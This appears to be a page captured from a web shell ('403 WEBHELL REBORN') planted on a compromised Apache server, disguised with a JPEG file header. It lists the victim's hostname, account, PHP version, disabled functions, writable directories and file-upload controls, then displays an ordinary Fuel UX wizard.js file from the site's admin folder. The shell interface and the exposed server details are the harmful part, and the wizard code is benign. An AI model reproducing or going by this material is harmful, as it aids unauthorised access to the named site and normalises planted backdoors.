ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache/2
System : Linux srv244.medyabim.com 4.18.0-553.89.1.el8_10.x86_64 #1 SMP Mon Dec 8 03:53:08 EST 2025 x86_64
User : lionbursa ( 1773)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/lionbursa/domains/lionuluslararasidanismanlik.com/private_html/admin/style/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /home/lionbursa/domains/lionuluslararasidanismanlik.com/private_html/admin/style/js/wizard.js
/*
 * Fuel UX Wizard
 * https://github.com/ExactTarget/fuelux
 *
 * Copyright (c) 2012 ExactTarget
 * Licensed under the MIT license.
 */

// WIZARD CONSTRUCTOR AND PROTOTYPE

var Wizard = function (element, options) {
	var kids;

	this.$element = $(element);
	this.options = $.extend({}, $.fn.wizard.defaults, options);
	this.currentStep = this.options.selectedItem.step;
	this.numSteps = this.$element.find('.steps li').length;
	this.$prevBtn = this.$element.find('button.btn-prev');
	this.$nextBtn = this.$element.find('button.btn-next');

	kids = this.$nextBtn.children().detach();
	this.nextText = $.trim(this.$nextBtn.text());
	this.$nextBtn.append(kids);

	// handle events
	this.$prevBtn.on('click', $.proxy(this.previous, this));
	this.$nextBtn.on('click', $.proxy(this.next, this));
	this.$element.on('click', 'li.complete', $.proxy(this.stepclicked, this));
	
	if(this.currentStep > 1) {
        this.selectedItem(this.options.selectedItem);
	}
};

Wizard.prototype = {

	constructor: Wizard,

	setState: function () {
		var canMovePrev = (this.currentStep > 1);
		var firstStep = (this.currentStep === 1);
		var lastStep = (this.currentStep === this.numSteps);

		// disable buttons based on current step
		this.$prevBtn.attr('disabled', (firstStep === true || canMovePrev === false));

		// change button text of last step, if specified
		var data = this.$nextBtn.data();
		if (data && data.last) {
			this.lastText = data.last;
			if (typeof this.lastText !== 'undefined') {
				// replace text
				var text = (lastStep !== true) ? this.nextText : this.lastText;
				var kids = this.$nextBtn.children().detach();
				this.$nextBtn.text(text).append(kids);
			}
		}

		// reset classes for all steps
		var $steps = this.$element.find('.steps li');
		$steps.removeClass('active').removeClass('complete');
		$steps.find('span.badge').removeClass('badge-primary').removeClass('badge-success');

		// set class for all previous steps
		var prevSelector = '.steps li:lt(' + (this.currentStep - 1) + ')';
		var $prevSteps = this.$element.find(prevSelector);
		$prevSteps.addClass('complete');
		$prevSteps.find('span.badge').addClass('badge-success');

		// set class for current step
		var currentSelector = '.steps li:eq(' + (this.currentStep - 1) + ')';
		var $currentStep = this.$element.find(currentSelector);
		$currentStep.addClass('active');
		$currentStep.find('span.badge').addClass('badge-primary');

		// set display of target element
		var target = $currentStep.data().target;
		this.$element.find('.step-pane').removeClass('active');
		$(target).addClass('active');

		// reset the wizard position to the left
		$('.wizard .steps').attr('style','margin-left: 0');

		// check if the steps are wider than the container div
		var totalWidth = 0;
		$('.wizard .steps > li').each(function () {
			totalWidth += $(this).outerWidth();
		});
		var containerWidth = 0;
		if ($('.wizard .actions').length) {
			containerWidth = $('.wizard').width() - $('.wizard .actions').outerWidth();
		} else {
			containerWidth = $('.wizard').width();
		}
		if (totalWidth > containerWidth) {
		
			// set the position so that the last step is on the right
			var newMargin = totalWidth - containerWidth;
			$('.wizard .steps').attr('style','margin-left: -' + newMargin + 'px');
			
			// set the position so that the active step is in a good
			// position if it has been moved out of view
			if ($('.wizard li.active').position().left < 200) {
				newMargin += $('.wizard li.active').position().left - 200;
				if (newMargin < 1) {
					$('.wizard .steps').attr('style','margin-left: 0');
				} else {
					$('.wizard .steps').attr('style','margin-left: -' + newMargin + 'px');
				}
			}
		}

		this.$element.trigger('changed');
	},

	stepclicked: function (e) {
		var li = $(e.currentTarget);

		var index = this.$element.find('.steps li').index(li);

		var evt = $.Event('stepclick');
		this.$element.trigger(evt, {step: index + 1});
		if (evt.isDefaultPrevented()) return;

		this.currentStep = (index + 1);
		this.setState();
	},

	previous: function () {
		var canMovePrev = (this.currentStep > 1);
		if (canMovePrev) {
			var e = $.Event('change');
			this.$element.trigger(e, {step: this.currentStep, direction: 'previous'});
			if (e.isDefaultPrevented()) return;

			this.currentStep -= 1;
			this.setState();
		}
	},

	next: function () {
		var canMoveNext = (this.currentStep + 1 <= this.numSteps);
		var lastStep = (this.currentStep === this.numSteps);

		if (canMoveNext) {
			var e = $.Event('change');
			this.$element.trigger(e, {step: this.currentStep, direction: 'next'});

			if (e.isDefaultPrevented()) return;

			this.currentStep += 1;
			this.setState();
		}
		else if (lastStep) {
			this.$element.trigger('finished');
		}
	},

	selectedItem: function (selectedItem) {
		var retVal, step;

		if(selectedItem) {

			step = selectedItem.step || -1;

			if(step >= 1 && step <= this.numSteps) {
				this.currentStep = step;
				this.setState();    
			}

			retVal = this;	
		}
		else {
			retVal = { step: this.currentStep };
		}

		return retVal;
	}
};


// WIZARD PLUGIN DEFINITION

$.fn.wizard = function (option, value) {
	var methodReturn;

	var $set = this.each(function () {
		var $this = $(this);
		var data = $this.data('wizard');
		var options = typeof option === 'object' && option;

		if (!data) $this.data('wizard', (data = new Wizard(this, options)));
		if (typeof option === 'string') methodReturn = data[option](value);
	});

	return (methodReturn === undefined) ? $set : methodReturn;
};

$.fn.wizard.defaults = {
    selectedItem: {step:1}
};

$.fn.wizard.Constructor = Wizard;


// WIZARD DATA-API

$(function () {
	$('body').on('mousedown.wizard.data-api', '.wizard', function () {
		var $this = $(this);
		if ($this.data('wizard')) return;
		$this.wizard($this.data());
	});
});


Anon7 - 2021